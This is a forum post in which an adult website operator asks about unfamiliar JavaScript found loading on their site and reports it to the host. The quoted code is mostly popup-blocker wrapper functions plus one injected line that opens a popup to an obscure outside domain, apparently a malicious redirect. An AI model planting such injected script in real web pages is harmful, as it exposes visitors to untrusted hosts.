Hackers?

[SaucyPanties]

One of our sites www.sexliveporn.com has some code which is trying to load. I have reported it to the host but has anyone else had any experience of this? The following code is not ours... Edit Removed some quote marks in case I cause a problem here...

script language="JavaScript"
<!--

function SymError()
{
return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
return (new Object());
}

window.open = SymWinOpen;

//-->
/script

script language="JavaScript"> OW=window.open("http://abdkmfgij.wheezeruffled.com/e/?cehlfgijxoooqyabdkmzcv","OWP", "toolbar=1,location=1,status=1,menubar=1,scrollbars=2,resizable=1")</script>

<script language="JavaScript">

if(SymRealOnUnload != null)
SymRealOnUnload();

function SymOnLoad()
{
if(SymRealOnLoad != null)
SymRealOnLoad();
window.open = SymRealWinOpen;
SymRealOnUnload = window.onunload;
window.onunload = SymOnUnload;
}

SymRealOnLoad = window.onload;
window.onload = SymOnLoad;

//-->
/script
